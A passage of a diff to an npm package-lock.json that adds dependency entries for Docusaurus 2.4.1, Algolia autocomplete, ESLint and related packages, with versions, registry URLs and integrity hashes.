"node_modules/@docsearch/react/node_modules/@algolia/autocomplete-core": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/@algolia/autocomplete-core/-/autocomplete-core-1.9.3.tgz", + "integrity": "sha512-009HdfugtGCdC4JdXUbVJClA0q0zh24yyePn+KUGk3rP7j8FEe/m5Yo/z65gn6nP/cM39PxpzqKrL7A6fP6PPw==", + "dependencies": { + "@algolia/autocomplete-plugin-algolia-insights": "1.9.3", + "@algolia/autocomplete-shared": "1.9.3" + } + }, + "node_modules/@docsearch/react/node_modules/@algolia/autocomplete-plugin-algolia-insights": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/@algolia/autocomplete-plugin-algolia-insights/-/autocomplete-plugin-algolia-insights-1.9.3.tgz", + "integrity": "sha512-a/yTUkcO/Vyy+JffmAnTWbr4/90cLzw+CC3bRbhnULr/EM0fGNvM13oQQ14f2moLMcVDyAx/leczLlAOovhSZg==", + "dependencies": { + "@algolia/autocomplete-shared": "1.9.3" + }, + "peerDependencies": { + "search-insights": ">= 1 < 3" + } + }, + "node_modules/@docsearch/react/node_modules/@algolia/autocomplete-preset-algolia": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/@algolia/autocomplete-preset-algolia/-/autocomplete-preset-algolia-1.9.3.tgz", + "integrity": "sha512-d4qlt6YmrLMYy95n5TB52wtNDr6EgAIPH81dvvvW8UmuWRgxEtY0NJiPwl/h95JtG2vmRM804M0DSwMCNZlzRA==", + "dependencies": { + "@algolia/autocomplete-shared": "1.9.3" + }, + "peerDependencies": { + "@algolia/client-search": ">= 4.9.1 < 6", + "algoliasearch": ">= 4.9.1 < 6" + } + }, + "node_modules/@docsearch/react/node_modules/@algolia/autocomplete-shared": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/@algolia/autocomplete-shared/-/autocomplete-shared-1.9.3.tgz", + "integrity": "sha512-Wnm9E4Ye6Rl6sTTqjoymD+l8DjSTHsHboVRYrKgEt8Q7UHm9nYbqhN/i0fhUYA3OAEH7WA8x3jfpnmJm3rKvaQ==", + "peerDependencies": { + "@algolia/client-search": ">= 4.9.1 < 6", + "algoliasearch": ">= 4.9.1 < 6" + } + }, + "node_modules/@docusaurus/core": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@docusaurus/core/-/core-2.4.1.tgz", + "integrity": "sha512-SNsY7PshK3Ri7vtsLXVeAJGS50nJN3RgF836zkyUfAD01Fq+sAk5EwWgLw+nnm5KVNGDu7PRR2kRGDsWvqpo0g==", + "dependencies": { + "@babel/core": "^7.18.6", + "@babel/generator": "^7.18.7", + "@babel/plugin-syntax-dynamic-import": "^7.8.3", + "@babel/plugin-transform-runtime": "^7.18.6", + "@babel/preset-env": "^7.18.6", + "@babel/preset-react": "^7.18.6", + "@babel/preset-typescript": "^7.18.6", + "@babel/runtime": "^7.18.6", + "@babel/runtime-corejs3": "^7.18.6", + "@babel/traverse": "^7.18.8", + "@docusaurus/cssnano-preset": "2.4.1", + "@docusaurus/logger": "2.4.1", + "@docusaurus/mdx-loader": "2.4.1", + "@docusaurus/react-loadable": "5.5.2", + "@docusaurus/utils": "2.4.1", + "@docusaurus/utils-common": "2.4.1", + "@docusaurus/utils-validation": "2.4.1", + "@slorber/static-site-generator-webpack-plugin": "^4.0.7", + "@svgr/webpack": "^6.2.1", + "autoprefixer": "^10.4.7", + "babel-loader": "^8.2.5", + "babel-plugin-dynamic-import-node": "^2.3.3", + "boxen": "^6.2.1", + "chalk": "^4.1.2", + "chokidar": "^3.5.3", + "clean-css": "^5.3.0", + "cli-table3": "^0.6.2", + "combine-promises": "^1.1.0", + "commander": "^5.1.0", + "copy-webpack-plugin": "^11.0.0", + "core-js": "^3.23.3", + "css-loader": "^6.7.1", + "css-minimizer-webpack-plugin": "^4.0.0", + "cssnano": "^5.1.12", + "del": "^6.1.1", + "detect-port": "^1.3.0", + "escape-html": "^1.0.3", + "eta": "^2.0.0", + "file-loader": "^6.2.0", + "fs-extra": "^10.1.0", + "html-minifier-terser": "^6.1.0", + "html-tags": "^3.2.0", + "html-webpack-plugin": "^5.5.0", + "import-fresh": "^3.3.0", + "leven": "^3.1.0", + "lodash": "^4.17.21", + "mini-css-extract-plugin": "^2.6.1", + "postcss": "^8.4.14", + "postcss-loader": "^7.0.0", + "prompts": "^2.4.2", + "react-dev-utils": "^12.0.1", + "react-helmet-async": "^1.3.0", + "react-loadable": "npm:@docusaurus/react-loadable@5.5.2", + "react-loadable-ssr-addon-v5-slorber": "^1.0.1", + "react-router": "^5.3.3", + "react-router-config": "^5.1.1", + "react-router-dom": "^5.3.3", + "rtl-detect": "^1.0.4", + "semver": "^7.3.7", + "serve-handler": "^6.1.3", + "shelljs": "^0.8.5", + "terser-webpack-plugin": "^5.3.3", + "tslib": "^2.4.0", + "update-notifier": "^5.1.0", + "url-loader": "^4.1.1", + "wait-on": "^6.0.1", + "webpack": "^5.73.0", + "webpack-bundle-analyzer": "^4.5.0", + "webpack-dev-server": "^4.9.3", + "webpack-merge": "^5.8.0", + "webpackbar": "^5.0.2" + }, + "bin": { + "docusaurus": "bin/docusaurus.mjs" + }, + "engines": { + "node": ">=16.14" + }, + "peerDependencies": { + "react": "^16.8.4 || ^17.0.0", + "react-dom": "^16.8.4 || ^17.0.0" + } + }, + "node_modules/@docusaurus/cssnano-preset": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@docusaurus/cssnano-preset/-/cssnano-preset-2.4.1.tgz", + "integrity": "sha512-ka+vqXwtcW1NbXxWsh6yA1Ckii1klY9E53cJ4O9J09nkMBgrNX3iEFED1fWdv8wf4mJjvGi5RLZ2p9hJNjsLyQ==", + "dependencies": { + "cssnano-preset-advanced": "^5.3.8", + "postcss": "^8.4.14", + "postcss-sort-media-queries": "^4.2.1", + "tslib": "^2.4.0" + }, + "engines": { + "node": ">=16.14" + } + }, + "node_modules/@docusaurus/logger": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@docusaurus/logger/-/logger-2.4.1.tgz", + "integrity": "sha512-5h5ysIIWYIDHyTVd8BjheZmQZmEgWDR54aQ1BX9pjFfpyzFo5puKXKYrYJXbjEHGyVhEzmB9UXwbxGfaZhOjcg==", + "dependencies": { + "chalk": "^4.1.2", + "tslib": "^2.4.0" + }, + "engines": { + "node": ">=16.14" + } + }, + "node_modules/@docusaurus/mdx-loader": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@docusaurus/mdx-loader/-/mdx-loader-2.4.1.tgz", + "integrity": "sha512-4KhUhEavteIAmbBj7LVFnrVYDiU51H5YWW1zY6SmBSte/YLhDutztLTBE0PQl1Grux1jzUJeaSvAzHpTn6JJDQ==", + "dependencies": { + "@babel/parser": "^7.18.8", + "@babel/traverse": "^7.18.8", + "@docusaurus/logger": "2.4.1", + "@docusaurus/utils": "2.4.1", + "@mdx-js/mdx": "^1.6.22", + "escape-html": "^1.0.3", + "file-loader": "^6.2.0", + "fs-extra": "^10.1.0", + "image-size": "^1.0.1", + "mdast-util-to-string": "^2.0.0", + "remark-emoji": "^2.2.0", + "stringify-object": "^3.3.0", + "tslib": "^2.4.0", + "unified": "^9.2.2", + "unist-util-visit": "^2.0.3", + "url-loader": "^4.1.1", + "webpack": "^5.73.0" + }, + "engines": { + "node": ">=16.14" + }, + "peerDependencies": { + "react": "^16.8.4 || ^17.0.0", + "react-dom": "^16.8.4 || ^17.0.0" + } + }, + "node_modules/@docusaurus/module-type-aliases": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@docusaurus/module-type-aliases/-/module-type-aliases-2.4.1.tgz", + "integrity": "sha512-gLBuIFM8Dp2XOCWffUDSjtxY7jQgKvYujt7Mx5s4FCTfoL5dN1EVbnrn+O2Wvh8b0a77D57qoIDY7ghgmatR1A==", + "dependencies": { + "@docusaurus/react-loadable": "5.5.2", + "@docusaurus/types": "2.4.1", + "@types/history": "^4.7.11", + "@types/react": "*", + "@types/react-router-config": "*", + "@types/react-router-dom": "*", + "react-helmet-async": "*", + "react-loadable": "npm:@docusaurus/react-loadable@5.5.2" + }, + "peerDependencies": { + "react": "*", + "react-dom": "*" + } + }, + "node_modules/@docusaurus/plugin-content-blog": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@docusaurus/plugin-content-blog/-/plugin-content-blog-2.4.1.tgz", + "integrity": "sha512-E2i7Knz5YIbE1XELI6RlTnZnGgS52cUO4BlCiCUCvQHbR+s1xeIWz4C6BtaVnlug0Ccz7nFSksfwDpVlkujg5Q==", + "dependencies": { + "@docusaurus/core": "2.4.1", + "@docusaurus/logger": "2.4.1", + "@docusaurus/mdx-loader": "2.4.1", + "@docusaurus/types": "2.4.1", + "@docusaurus/utils": "2.4.1", + "@docusaurus/utils-common": "2.4.1", + "@docusaurus/utils-validation": "2.4.1", + "cheerio": "^1.0.0-rc.12", + "feed": "^4.2.2", + "fs-extra": "^10.1.0", + "lodash": "^4.17.21", + "reading-time": "^1.5.0", + "tslib": "^2.4.0", + "unist-util-visit": "^2.0.3", + "utility-types": "^3.10.0", + "webpack": "^5.73.0" + }, + "engines": { + "node": ">=16.14" + }, + "peerDependencies": { + "react": "^16.8.4 || ^17.0.0", + "react-dom": "^16.8.4 || ^17.0.0" + } + }, + "node_modules/@docusaurus/plugin-content-docs": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@docusaurus/plugin-content-docs/-/plugin-content-docs-2.4.1.tgz", + "integrity": "sha512-Lo7lSIcpswa2Kv4HEeUcGYqaasMUQNpjTXpV0N8G6jXgZaQurqp7E8NGYeGbDXnb48czmHWbzDL4S3+BbK0VzA==", + "dependencies": { + "@docusaurus/core": "2.4.1", + "@docusaurus/logger": "2.4.1", + "@docusaurus/mdx-loader": "2.4.1", + "@docusaurus/module-type-aliases": "2.4.1", + "@docusaurus/types": "2.4.1", + "@docusaurus/utils": "2.4.1", + "@docusaurus/utils-validation": "2.4.1", + "@types/react-router-config": "^5.0.6", + "combine-promises": "^1.1.0", + "fs-extra": "^10.1.0", + "import-fresh": "^3.3.0", + "js-yaml": "^4.1.0", + "lodash": "^4.17.21", + "tslib": "^2.4.0", + "utility-types": "^3.10.0", + "webpack": "^5.73.0" + }, + "engines": { + "node": ">=16.14" + }, + "peerDependencies": { + "react": "^16.8.4 || ^17.0.0", + "react-dom": "^16.8.4 || ^17.0.0" + } + }, + "node_modules/@docusaurus/plugin-content-pages": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@docusaurus/plugin-content-pages/-/plugin-content-pages-2.4.1.tgz", + "integrity": "sha512-/UjuH/76KLaUlL+o1OvyORynv6FURzjurSjvn2lbWTFc4tpYY2qLYTlKpTCBVPhlLUQsfyFnshEJDLmPneq2oA==", + "dependencies": { + "@docusaurus/core": "2.4.1", + "@docusaurus/mdx-loader": "2.4.1", + "@docusaurus/types": "2.4.1", + "@docusaurus/utils": "2.4.1", + "@docusaurus/utils-validation": "2.4.1", + "fs-extra": "^10.1.0", + "tslib": "^2.4.0", + "webpack": "^5.73.0" + }, + "engines": { + "node": ">=16.14" + }, + "peerDependencies": { + "react": "^16.8.4 || ^17.0.0", + "react-dom": "^16.8.4 || ^17.0.0" + } + }, + "node_modules/@docusaurus/plugin-debug": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@docusaurus/plugin-debug/-/plugin-debug-2.4.1.tgz", + "integrity": "sha512-7Yu9UPzRShlrH/G8btOpR0e6INFZr0EegWplMjOqelIwAcx3PKyR8mgPTxGTxcqiYj6hxSCRN0D8R7YrzImwNA==", + "dependencies": { + "@docusaurus/core": "2.4.1", + "@docusaurus/types": "2.4.1", + "@docusaurus/utils": "2.4.1", + "fs-extra": "^10.1.0", + "react-json-view": "^1.21.3", + "tslib": "^2.4.0" + }, + "engines": { + "node": ">=16.14" + }, + "peerDependencies": { + "react": "^16.8.4 || ^17.0.0", + "react-dom": "^16.8.4 || ^17.0.0" + } + }, + "node_modules/@docusaurus/plugin-google-analytics": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@docusaurus/plugin-google-analytics/-/plugin-google-analytics-2.4.1.tgz", + "integrity": "sha512-dyZJdJiCoL+rcfnm0RPkLt/o732HvLiEwmtoNzOoz9MSZz117UH2J6U2vUDtzUzwtFLIf32KkeyzisbwUCgcaQ==", + "dependencies": { + "@docusaurus/core": "2.4.1", + "@docusaurus/types": "2.4.1", + "@docusaurus/utils-validation": "2.4.1", + "tslib": "^2.4.0" + }, + "engines": { + "node": ">=16.14" + }, + "peerDependencies": { + "react": "^16.8.4 || ^17.0.0", + "react-dom": "^16.8.4 || ^17.0.0" + } + }, + "node_modules/@docusaurus/plugin-google-gtag": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@docusaurus/plugin-google-gtag/-/plugin-google-gtag-2.4.1.tgz", + "integrity": "sha512-mKIefK+2kGTQBYvloNEKtDmnRD7bxHLsBcxgnbt4oZwzi2nxCGjPX6+9SQO2KCN5HZbNrYmGo5GJfMgoRvy6uA==", + "dependencies": { + "@docusaurus/core": "2.4.1", + "@docusaurus/types": "2.4.1", + "@docusaurus/utils-validation": "2.4.1", + "tslib": "^2.4.0" + }, + "engines": { + "node": ">=16.14" + }, + "peerDependencies": { + "react": "^16.8.4 || ^17.0.0", + "react-dom": "^16.8.4 || ^17.0.0" + } + }, + "node_modules/@docusaurus/plugin-google-tag-manager": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@docusaurus/plugin-google-tag-manager/-/plugin-google-tag-manager-2.4.1.tgz", + "integrity": "sha512-Zg4Ii9CMOLfpeV2nG74lVTWNtisFaH9QNtEw48R5QE1KIwDBdTVaiSA18G1EujZjrzJJzXN79VhINSbOJO/r3g==", + "dependencies": { + "@docusaurus/core": "2.4.1", + "@docusaurus/types": "2.4.1", + "@docusaurus/utils-validation": "2.4.1", + "tslib": "^2.4.0" + }, + "engines": { + "node": ">=16.14" + }, + "peerDependencies": { + "react": "^16.8.4 || ^17.0.0", + "react-dom": "^16.8.4 || ^17.0.0" + } + }, + "node_modules/@docusaurus/plugin-sitemap": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@docusaurus/plugin-sitemap/-/plugin-sitemap-2.4.1.tgz", + "integrity": "sha512-lZx+ijt/+atQ3FVE8FOHV/+X3kuok688OydDXrqKRJyXBJZKgGjA2Qa8RjQ4f27V2woaXhtnyrdPop/+OjVMRg==", + "dependencies": { + "@docusaurus/core": "2.4.1", + "@docusaurus/logger": "2.4.1", + "@docusaurus/types": "2.4.1", + "@docusaurus/utils": "2.4.1", + "@docusaurus/utils-common": "2.4.1", + "@docusaurus/utils-validation": "2.4.1", + "fs-extra": "^10.1.0", + "sitemap": "^7.1.1", + "tslib": "^2.4.0" + }, + "engines": { + "node": ">=16.14" + }, + "peerDependencies": { + "react": "^16.8.4 || ^17.0.0", + "react-dom": "^16.8.4 || ^17.0.0" + } + }, + "node_modules/@docusaurus/preset-classic": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@docusaurus/preset-classic/-/preset-classic-2.4.1.tgz", + "integrity": "sha512-P4//+I4zDqQJ+UDgoFrjIFaQ1MeS9UD1cvxVQaI6O7iBmiHQm0MGROP1TbE7HlxlDPXFJjZUK3x3cAoK63smGQ==", + "dependencies": { + "@docusaurus/core": "2.4.1", + "@docusaurus/plugin-content-blog": "2.4.1", + "@docusaurus/plugin-content-docs": "2.4.1", + "@docusaurus/plugin-content-pages": "2.4.1", + "@docusaurus/plugin-debug": "2.4.1", + "@docusaurus/plugin-google-analytics": "2.4.1", + "@docusaurus/plugin-google-gtag": "2.4.1", + "@docusaurus/plugin-google-tag-manager": "2.4.1", + "@docusaurus/plugin-sitemap": "2.4.1", + "@docusaurus/theme-classic": "2.4.1", + "@docusaurus/theme-common": "2.4.1", + "@docusaurus/theme-search-algolia": "2.4.1", + "@docusaurus/types": "2.4.1" + }, + "engines": { + "node": ">=16.14" + }, + "peerDependencies": { + "react": "^16.8.4 || ^17.0.0", + "react-dom": "^16.8.4 || ^17.0.0" + } + }, + "node_modules/@docusaurus/react-loadable": { + "version": "5.5.2", + "resolved": "https://registry.npmjs.org/@docusaurus/react-loadable/-/react-loadable-5.5.2.tgz", + "integrity": "sha512-A3dYjdBGuy0IGT+wyLIGIKLRE+sAk1iNk0f1HjNDysO7u8lhL4N3VEm+FAubmJbAztn94F7MxBTPmnixbiyFdQ==", + "dependencies": { + "@types/react": "*", + "prop-types": "^15.6.2" + }, + "peerDependencies": { + "react": "*" + } + }, + "node_modules/@docusaurus/theme-classic": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@docusaurus/theme-classic/-/theme-classic-2.4.1.tgz", + "integrity": "sha512-Rz0wKUa+LTW1PLXmwnf8mn85EBzaGSt6qamqtmnh9Hflkc+EqiYMhtUJeLdV+wsgYq4aG0ANc+bpUDpsUhdnwg==", + "dependencies": { + "@docusaurus/core": "2.4.1", + "@docusaurus/mdx-loader": "2.4.1", + "@docusaurus/module-type-aliases": "2.4.1", + "@docusaurus/plugin-content-blog": "2.4.1", + "@docusaurus/plugin-content-docs": "2.4.1", + "@docusaurus/plugin-content-pages": "2.4.1", + "@docusaurus/theme-common": "2.4.1", + "@docusaurus/theme-translations": "2.4.1", + "@docusaurus/types": "2.4.1", + "@docusaurus/utils": "2.4.1", + "@docusaurus/utils-common": "2.4.1", + "@docusaurus/utils-validation": "2.4.1", + "@mdx-js/react": "^1.6.22", + "clsx": "^1.2.1", + "copy-text-to-clipboard": "^3.0.1", + "infima": "0.2.0-alpha.43", + "lodash": "^4.17.21", + "nprogress": "^0.2.0", + "postcss": "^8.4.14", + "prism-react-renderer": "^1.3.5", + "prismjs": "^1.28.0", + "react-router-dom": "^5.3.3", + "rtlcss": "^3.5.0", + "tslib": "^2.4.0", + "utility-types": "^3.10.0" + }, + "engines": { + "node": ">=16.14" + }, + "peerDependencies": { + "react": "^16.8.4 || ^17.0.0", + "react-dom": "^16.8.4 || ^17.0.0" + } + }, + "node_modules/@docusaurus/theme-common": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@docusaurus/theme-common/-/theme-common-2.4.1.tgz", + "integrity": "sha512-G7Zau1W5rQTaFFB3x3soQoZpkgMbl/SYNG8PfMFIjKa3M3q8n0m/GRf5/H/e5BqOvt8c+ZWIXGCiz+kUCSHovA==", + "dependencies": { + "@docusaurus/mdx-loader": "2.4.1", + "@docusaurus/module-type-aliases": "2.4.1", + "@docusaurus/plugin-content-blog": "2.4.1", + "@docusaurus/plugin-content-docs": "2.4.1", + "@docusaurus/plugin-content-pages": "2.4.1", + "@docusaurus/utils": "2.4.1", + "@docusaurus/utils-common": "2.4.1", + "@types/history": "^4.7.11", + "@types/react": "*", + "@types/react-router-config": "*", + "clsx": "^1.2.1", + "parse-numeric-range": "^1.3.0", + "prism-react-renderer": "^1.3.5", + "tslib": "^2.4.0", + "use-sync-external-store": "^1.2.0", + "utility-types": "^3.10.0" + }, + "engines": { + "node": ">=16.14" + }, + "peerDependencies": { + "react": "^16.8.4 || ^17.0.0", + "react-dom": "^16.8.4 || ^17.0.0" + } + }, + "node_modules/@docusaurus/theme-live-codeblock": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@docusaurus/theme-live-codeblock/-/theme-live-codeblock-2.4.1.tgz", + "integrity": "sha512-KBKrm34kcdNbSeEm6RujN5GWWg4F2dmAYZyHMMQM8FXokx8mNShRx6uq17WXi23JNm7niyMhNOBRfZWay+5Hkg==", + "dependencies": { + "@docusaurus/core": "2.4.1", + "@docusaurus/theme-common": "2.4.1", + "@docusaurus/theme-translations": "2.4.1", + "@docusaurus/utils-validation": "2.4.1", + "@philpl/buble": "^0.19.7", + "clsx": "^1.2.1", + "fs-extra": "^10.1.0", + "react-live": "2.2.3", + "tslib": "^2.4.0" + }, + "engines": { + "node": ">=16.14" + }, + "peerDependencies": { + "react": "^16.8.4 || ^17.0.0", + "react-dom": "^16.8.4 || ^17.0.0" + } + }, + "node_modules/@docusaurus/theme-search-algolia": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@docusaurus/theme-search-algolia/-/theme-search-algolia-2.4.1.tgz", + "integrity": "sha512-6BcqW2lnLhZCXuMAvPRezFs1DpmEKzXFKlYjruuas+Xy3AQeFzDJKTJFIm49N77WFCTyxff8d3E4Q9pi/+5McQ==", + "dependencies": { + "@docsearch/react": "^3.1.1", + "@docusaurus/core": "2.4.1", + "@docusaurus/logger": "2.4.1", + "@docusaurus/plugin-content-docs": "2.4.1", + "@docusaurus/theme-common": "2.4.1", + "@docusaurus/theme-translations": "2.4.1", + "@docusaurus/utils": "2.4.1", + "@docusaurus/utils-validation": "2.4.1", + "algoliasearch": "^4.13.1", + "algoliasearch-helper": "^3.10.0", + "clsx": "^1.2.1", + "eta": "^2.0.0", + "fs-extra": "^10.1.0", + "lodash": "^4.17.21", + "tslib": "^2.4.0", + "utility-types": "^3.10.0" + }, + "engines": { + "node": ">=16.14" + }, + "peerDependencies": { + "react": "^16.8.4 || ^17.0.0", + "react-dom": "^16.8.4 || ^17.0.0" + } + }, + "node_modules/@docusaurus/theme-translations": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@docusaurus/theme-translations/-/theme-translations-2.4.1.tgz", + "integrity": "sha512-T1RAGP+f86CA1kfE8ejZ3T3pUU3XcyvrGMfC/zxCtc2BsnoexuNI9Vk2CmuKCb+Tacvhxjv5unhxXce0+NKyvA==", + "dependencies": { + "fs-extra": "^10.1.0", + "tslib": "^2.4.0" + }, + "engines": { + "node": ">=16.14" + } + }, + "node_modules/@docusaurus/types": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@docusaurus/types/-/types-2.4.1.tgz", + "integrity": "sha512-0R+cbhpMkhbRXX138UOc/2XZFF8hiZa6ooZAEEJFp5scytzCw4tC1gChMFXrpa3d2tYE6AX8IrOEpSonLmfQuQ==", + "dependencies": { + "@types/history": "^4.7.11", + "@types/react": "*", + "commander": "^5.1.0", + "joi": "^17.6.0", + "react-helmet-async": "^1.3.0", + "utility-types": "^3.10.0", + "webpack": "^5.73.0", + "webpack-merge": "^5.8.0" + }, + "peerDependencies": { + "react": "^16.8.4 || ^17.0.0", + "react-dom": "^16.8.4 || ^17.0.0" + } + }, + "node_modules/@docusaurus/utils": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@docusaurus/utils/-/utils-2.4.1.tgz", + "integrity": "sha512-1lvEZdAQhKNht9aPXPoh69eeKnV0/62ROhQeFKKxmzd0zkcuE/Oc5Gpnt00y/f5bIsmOsYMY7Pqfm/5rteT5GA==", + "dependencies": { + "@docusaurus/logger": "2.4.1", + "@svgr/webpack": "^6.2.1", + "escape-string-regexp": "^4.0.0", + "file-loader": "^6.2.0", + "fs-extra": "^10.1.0", + "github-slugger": "^1.4.0", + "globby": "^11.1.0", + "gray-matter": "^4.0.3", + "js-yaml": "^4.1.0", + "lodash": "^4.17.21", + "micromatch": "^4.0.5", + "resolve-pathname": "^3.0.0", + "shelljs": "^0.8.5", + "tslib": "^2.4.0", + "url-loader": "^4.1.1", + "webpack": "^5.73.0" + }, + "engines": { + "node": ">=16.14" + }, + "peerDependencies": { + "@docusaurus/types": "*" + }, + "peerDependenciesMeta": { + "@docusaurus/types": { + "optional": true + } + } + }, + "node_modules/@docusaurus/utils-common": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@docusaurus/utils-common/-/utils-common-2.4.1.tgz", + "integrity": "sha512-bCVGdZU+z/qVcIiEQdyx0K13OC5mYwxhSuDUR95oFbKVuXYRrTVrwZIqQljuo1fyJvFTKHiL9L9skQOPokuFNQ==", + "dependencies": { + "tslib": "^2.4.0" + }, + "engines": { + "node": ">=16.14" + }, + "peerDependencies": { + "@docusaurus/types": "*" + }, + "peerDependenciesMeta": { + "@docusaurus/types": { + "optional": true + } + } + }, + "node_modules/@docusaurus/utils-validation": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@docusaurus/utils-validation/-/utils-validation-2.4.1.tgz", + "integrity": "sha512-unII3hlJlDwZ3w8U+pMO3Lx3RhI4YEbY3YNsQj4yzrkZzlpqZOLuAiZK2JyULnD+TKbceKU0WyWkQXtYbLNDFA==", + "dependencies": { + "@docusaurus/logger": "2.4.1", + "@docusaurus/utils": "2.4.1", + "joi": "^17.6.0", + "js-yaml": "^4.1.0", + "tslib": "^2.4.0" + }, + "engines": { + "node": ">=16.14" + } + }, + "node_modules/@eslint-community/eslint-utils": { + "version": "4.4.0", + "resolved": "https://registry.npmjs.org/@eslint-community/eslint-utils/-/eslint-utils-4.4.0.tgz", + "integrity": "sha512-1/sA4dwrzBAyeUoQ6oxahHKmrZvsnLCg4RfxW3ZFGGmQkSNQPFNLV9CUEFQP1x9EYXHTo5p6xdhZM1Ne9p/AfA==", + "devOptional": true, + "dependencies": { + "eslint-visitor-keys": "^3.3.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "peerDependencies": { + "eslint": "^6.0.0 || ^7.0.0 || >=8.0.0" + } + }, + "node_modules/@eslint-community/regexpp": { + "version": "4.7.0", + "resolved": "https://registry.npmjs.org/@eslint-community/regexpp/-/regexpp-4.7.0.tgz", + "integrity": "sha512-+HencqxU7CFJnQb7IKtuNBqS6Yx3Tz4kOL8BJXo+JyeiBm5MEX6pO8onXDkjrkCRlfYXS1Axro15ZjVFe9YgsA==", + "devOptional": true, + "engines": { + "node": "^12.0.0 || ^14.0.0 || >=16.0.0" + } + }, + "node_modules/@eslint/eslintrc": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-2.1.2.tgz", + "integrity": "sha512-+wvgpDsrB1YqAMdEUCcnTlpfVBH7Vqn6A/NT3D8WVXFIaKMlErPIZT3oCIAVCOtarRpMtelZLqJeU3t7WY6X6g==", + "devOptional": true, + "dependencies": { + "ajv": "^6.12.4", + "debug": "^4.3.2", + "espree": "^9.6.0", + "globals": "^13.19.0", + "ignore": "^5.2.0", + "import-fresh": "^3.2.1", + "js-yaml": "^4.1.0", + "minimatch": "^3.1.2", + "strip-json-comments": "^3.1.1" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/@eslint/eslintrc/node_modules/globals": { + "version": "13.21.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-13.21.0.tgz", + "integrity": "sha512-ybyme3s4yy/t/3s35bewwXKOf7cvzfreG2lH0lZl0JB7I4GxRP2ghxOK/Nb9EkRXdbBXZLfq/p/0W2JUONB/Gg==", + "devOptional": true, + "dependencies": { + "type-fest": "^0.20.2" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/@eslint/eslintrc/node_modules/type-fest": { + "version": "0.20.2", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.20.2.tgz", + "integrity": "sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==", + "devOptional": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/@eslint/js": { + "version": "8.47.0", + "resolved": "https://registry.npmjs.org/@eslint/js/-/js-8.47.0.tgz", + "integrity": "sha512-P6omY1zv5MItm93kLM8s2vr1HICJH8v0dvddDhysbIuZ+vcjOHg5Zbkf1mTkcmi2JA9oBG2anOkRnW8WJTS8Og==", + "devOptional": true, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + } + }, + "node_modules/@hapi/hoek": { + "version": "9.3.0", + "resolved": "https://registry.npmjs.org/@hapi/hoek/-/hoek-9.3.0.tgz", + "integrity": "sha512-/c6rf4UJlmHlC9b5BaNvzAcFv7HZ2QHaV0D4/HNlBdvFnvQq8RI4kYdhyPCl7Xj+oWvTWQ8ujhqS53LIgAe6KQ==" + }, + "node_modules/@hapi/topo": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/@hapi/topo/-/topo-5.1.0.tgz", + "integrity": "sha512-foQZKJig7Ob0BMAYBfcJk8d77QtOe7Wo4ox7ff1lQYoNNAb6jwcY1ncdoy2e9wQZzvNy7ODZCYJkK8kzmcAnAg==", + "dependencies": { + "@hapi/hoek": "^9.0.0" + } + }, + "node_modules/@humanwhocodes/config-array": { + "version": "0.11.10", + "resolved": "https://registry.npmjs.org/@humanwhocodes/config-array/-/config-array-0.11.10.tgz", + "integrity": "sha512-KVVjQmNUepDVGXNuoRRdmmEjruj0KfiGSbS8LVc12LMsWDQzRXJ0qdhN8L8uUigKpfEHRhlaQFY0ib1tnUbNeQ==", + "devOptional": true, + "dependencies": { + "@humanwhocodes/object-schema": "^1.2.1", + "debug": "^4.1.1", + "minimatch": "^3.0.5" + }, + "engines": { + "node": ">=10.10.0" + } + }, + "node_modules/@humanwhocodes/module-importer": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz", + "integrity": "sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA==", + "devOptional": true, + "engines": { + "node": ">=12.22" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/nzakas" + } + }, + "node_modules/@humanwhocodes/object-schema": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/@humanwhocodes/object-schema/-/object-schema-1.2.1.tgz", + "integrity": 